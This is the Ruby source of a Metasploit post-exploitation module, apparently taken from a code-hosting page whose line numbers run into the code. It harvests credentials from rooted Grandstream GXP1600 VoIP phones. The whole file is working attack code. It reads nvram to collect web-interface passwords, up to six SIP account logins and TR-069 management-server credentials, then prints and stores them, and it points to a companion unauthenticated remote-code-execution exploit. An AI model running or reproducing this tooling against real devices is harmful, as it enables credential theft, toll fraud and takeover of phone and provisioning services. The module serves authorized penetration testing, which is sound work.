Path: blob/master/modules/post/linux/gather/grandstream_gxp1600_creds.rb
36035 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'GrandStream GXP1600 Gather Credentials',14'Description' => %q{15This gather module works against Grandstream GXP1600 series VoIP devices and can collect HTTP, SIP, and TR-06916credentials from a device. You can first leverage the `exploit/linux/http/grandstream_gxp1600_unauth_rce` exploit17module to get a root session on a target GXP1600 series device before running this post module.18},19'License' => MSF_LICENSE,20'Author' => [21'sfewer-r7'22],23'Platform' => ['linux'],24'SessionTypes' => ['shell', 'meterpreter'],25'Notes' => {26'Stability' => [CRASH_SAFE],27'Reliability' => [],28'SideEffects' => [],29'RelatedModules' => [30'exploit/linux/http/grandstream_gxp1600_unauth_rce',31'post/linux/capture/grandstream_gxp1600_sip'32]33}34)35)36end3738# NOTE: All pvalue's are taken from the file /app/config/tr069/CpeDataModel.39def run40fail_with(Failure::NoTarget, 'Module cannot run against this target.') unless gxp1600?4142# Gather the creds for the phones web based management interface.43http_users = [44['admin', 2],45['user', 196]46]4748http_users.each do |username, pvalue|49password = cmd_exec("/usr/bin/nvram get #{pvalue}")50next if password.blank?5152print_good("Gathered HTTP account #{username}:#{password}")5354store_valid_credential(55user: username,56private: password,57private_type: :password,58service_data: {59origin_type: :service,60address: rhost,61port: rport,62service_name: 'http',63protocol: 'tcp'64}65)66end6768# The GXP1600 series supports up to 6 SIP accounts, depending on the model.69sip_accounts = {70'AccountName' => [270, 417, 517, 617, 1717, 1817],71'DisplayName' => [3, 407, 507, 607, 1707, 1807],72'RegistrarServer' => [47, 402, 502, 602, 1702, 1802],73'RegistrarServerPort' => [47, 402, 502, 602, 1702, 1802],74'RegistrarServerTransport' => [130, 448, 548, 648, 1748, 1848],75'AuthPassword' => [34, 406, 506, 606, 1706, 1806],76'UserID' => [35, 404, 504, 604, 1704, 1804],77'AuthUserName' => [36, 405, 505, 605, 1705, 1805]78}7980num_accts = read_file('/proc/gxp/dev_info/hw_features/num_accts').to_i81820.upto(num_accts - 1) do |account_idx|83sip_account = {}8485sip_accounts.each do |pvalue_name, pvalue_array|86sip_account[pvalue_name] = cmd_exec("/usr/bin/nvram get #{pvalue_array[account_idx]}")87end8889sip_username = sip_account['AuthUserName']90sip_username = sip_account['UserID'] if sip_username.blank?9192next if sip_username.blank?9394sip_server = sip_account['RegistrarServer']9596next if sip_server.blank?9798# The RegistrarServer and RegistrarServerPort may actually be the same value, i.e. "address:port" or they may be99# two separate value, one for the address and the other for the port.100# Leverage to_i to try and convert the RegistrarServerPort to an integer, this will only work if the port is101# a separate value.102103# First try to split the address if its in address:port notation. If it is not, then sip_port will be nil.104sip_server, sip_port = sip_server.split(':')105106# If we have an explicit RegistrarServerPort, try to get the integer value. If we fail, we default later107# to a known port value.108if sip_account['RegistrarServerPort'] != sip_account['RegistrarServer']109sip_port = sip_account['RegistrarServerPort'].to_i110end111112sip_protocol = nil113sip_service = 'sip'114115case sip_account['RegistrarServerTransport']116when '0'117sip_protocol = 'udp'118119sip_port = 5060 if sip_port.blank?120when '1'121sip_protocol = 'tcp'122123sip_port = 5060 if sip_port.blank?124when '2'125sip_protocol = 'tcp'126127sip_service = 'sips'128129sip_port = 5061 if sip_port.blank?130end131132print_good("Gathered SIP account <#{sip_service}:#{sip_username}@#{sip_server}:#{sip_port};transport=#{sip_protocol}> with a password of #{sip_account['AuthPassword']}")133134store_valid_credential(135user: sip_username,136private: sip_account['AuthPassword'],137private_type: :password,138service_data: {139origin_type: :service,140address: sip_server,141port: sip_port,142service_name: sip_service,143protocol: sip_protocol144}145)146end147148# TR-069 - Auto Configuration Server149management = {150'ServerURL' => 4503,151'ServerUsername' => 4504,152'ServerPassword' => 4505153}154155management.each do |pvalue_name, pvalue|156management[pvalue_name] = cmd_exec("/usr/bin/nvram get #{pvalue}")157end158159unless management['ServerURL'].blank? || management['ServerUsername'].blank? || management['ServerPassword'].blank?160print_good("Gathered TR-069 Auto Configuration Server account #{management['ServerUsername']}:#{management['ServerPassword']} for #{management['ServerURL']}")161162uri = nil163164begin165if Rex::Socket.is_ip_addr? management['ServerURL']166uri = URI.parse("http://#{management['ServerURL']}/")167else168uri = URI.parse(management['ServerURL'])169end170rescue URI::InvalidURIError171print_error("Failed to parse the URI '#{management['ServerURL']}'")172end173174unless uri.nil?175store_valid_credential(176user: management['ServerUsername'],177private: management['ServerPassword'],178private_type: :password,179service_data: {180origin_type: :service,181address: Rex::Socket.getaddress(uri.host),182port: uri.port,183service_name: uri.scheme,184protocol: 'tcp',185realm_key: Metasploit::Model::Realm::Key::WILDCARD,186realm_value: uri.path.blank? ? '/' : uri.path187}188)189end190end191end192193def gxp1600?194unless is_root?195user = cmd_exec('/usr/bin/whoami')196print_error("This module requires root permissions. Module running as \"#{user}\" user.")197return false198end199200unless file? '/usr/bin/nvram'201print_error('nvram binary not found')202return false203end204205model_str = cmd_exec('/usr/bin/nvram get 89')206207# These 6 models all share the same firmware for the GXP1600 range.208affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]209210unless affected_models.include? model_str211print_error("Phone is not a GXP1600 model. Detected model \"#{model_str}\".")212return false213end214215print_status("Module running against phone model #{model_str}")216true217end218end219220221